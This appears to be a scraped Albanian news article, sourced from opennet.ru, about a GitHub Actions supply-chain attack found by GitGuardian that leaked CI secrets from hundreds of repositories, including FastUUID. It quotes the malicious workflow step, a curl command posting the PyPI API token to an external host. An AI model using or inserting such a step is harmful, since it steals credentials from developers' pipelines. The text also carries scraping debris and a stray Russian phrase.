Hulumtuesit nga kompania GitGuardian zbuluan nj\u00eb sulm masiv ndaj p\u00ebrdoruesve t\u00eb GitHub, gjat\u00eb t\u00eb cilit u mor kontrolli mbi 327 llogari dhe u realizua inkuadrimi i nj\u00eb procesori t\u00eb d\u00ebmsh\u00ebm n\u00eb 817 repositor\u00eb. Sulmi \u00e7oi n\u00eb rrjedhjen e 3325 sekreteve, t\u00eb cilat p\u00ebrdoren n\u00eb sistemet e integrimit t\u00eb vazhduesh\u00ebm dhe t\u00eb transmetuara p\u00ebrmes variablave t\u00eb mjedisit, duke p\u00ebrfshir\u00eb tokenet e aksesit p\u00ebr PyPI, GitHub, NPM, DockerHub dhe ruajtjet e ndryshme n\u00eb \u043e\u0431\u043b\u0430\u0447\u043d\u0443\u044e \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430\u043c.
<\/center> <\/p>\n
GitHub Actions u jep mund\u00ebsin\u00eb zhvilluesve t\u00eb kodit t\u00eb bashkangjisin procesor\u00eb p\u00ebr automatizimin e operacioneve t\u00eb ndryshme n\u00eb GitHub. P\u00ebr shembull, me an\u00eb t\u00eb GitHub Actions mund t\u00eb kryhen kontrollime dhe teste specifike gjat\u00eb kryerjes s\u00eb komiteteve ose t\u00eb automatizohet p\u00ebrpunimi i Issues t\u00eb reja. Nj\u00eb procesor i d\u00ebmsh\u00ebm \u00ebsht\u00eb shp\u00ebrndar\u00eb n\u00ebn emrin «Github Actions Security» dhe p\u00ebrfshinte n\u00eb seksionin «run» komand\u00ebn «curl», e cila d\u00ebrgonte p\u00ebrmbajtjen e variablave t\u00eb mjedisit n\u00eb nj\u00eb host t\u00eb jasht\u00ebm gjat\u00eb ekzekutimit t\u00eb detyrave n\u00eb nj\u00eb mjedis integrimi t\u00eb vazhduesh\u00ebm. Komitimi i d\u00ebmsh\u00ebm u shtua me llogarit\u00eb e mbajt\u00ebsve t\u00eb projekteve, t\u00eb cilat me sa duket ishin hakuar m\u00eb par\u00eb ose ishin b\u00ebr\u00eb viktim\u00eb e phishingut. <\/p>\n
Sulmi u identifikua pas analizimit t\u00eb aktivitetit anormal, i lidhur me paket\u00ebn FastUUID, e cila ofron nj\u00eb lidhje Python mbi librarin\u00eb Rust UUID. Paketa FastUUID, p\u00ebr t\u00eb cil\u00ebn n\u00eb jav\u00ebn e kaluar jan\u00eb regjistruar pothuajse 1.2 milion shkarkime, p\u00ebrdoret si var\u00ebsi n\u00eb projektin popullor LiteLLM, i cili ka m\u00eb shum\u00eb se 5 milion shkarkime n\u00eb jav\u00eb n\u00eb PyPI. Analiza e ndryshimeve n\u00eb repozitorin FastUUID tregoi se m\u00eb 2 Shtator, mbajt\u00ebsi i projektit shtoi nj\u00eb komit me nj\u00eb procesor t\u00eb ri GitHub Actions, n\u00eb t\u00eb cilin ndodhej kodi p\u00ebr d\u00ebrgimin e tokenit n\u00eb repo PyPI n\u00eb nj\u00eb host t\u00eb jasht\u00ebm. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Problemi u identifikua para se hakuesit t\u00eb shfryt\u00ebzonin tokenin e kapur — nuk \u00ebsht\u00eb regjistruar publikimi i ndryshimeve t\u00eb d\u00ebmshme ose versioneve t\u00eb modifikuara t\u00eb paket\u00ebs n\u00eb PyPI p\u00ebr FastUUID. Z\u00ebvend\u00ebsime t\u00eb ngjashme t\u00eb GitHub Actions jan\u00eb identifikuar edhe n\u00eb 816 repozita, pronar\u00ebve t\u00eb t\u00eb cil\u00ebve, si dhe administrat\u00ebs s\u00eb PyPI, GitHub, NPM dhe DockerHub, u jan\u00eb d\u00ebrguar njoftime. Deri n\u00eb mbr\u00ebmjen e kaluar, komitimet e d\u00ebmshme ishin anuluar n\u00eb rreth 100 repozita. Aktualisht, gjat\u00eb k\u00ebrkimit n\u00eb GitHub, p\u00ebrcaktohen 671 komite me GitHub Actions t\u00eb d\u00ebmshme. \n Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Gjat\u00eb](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n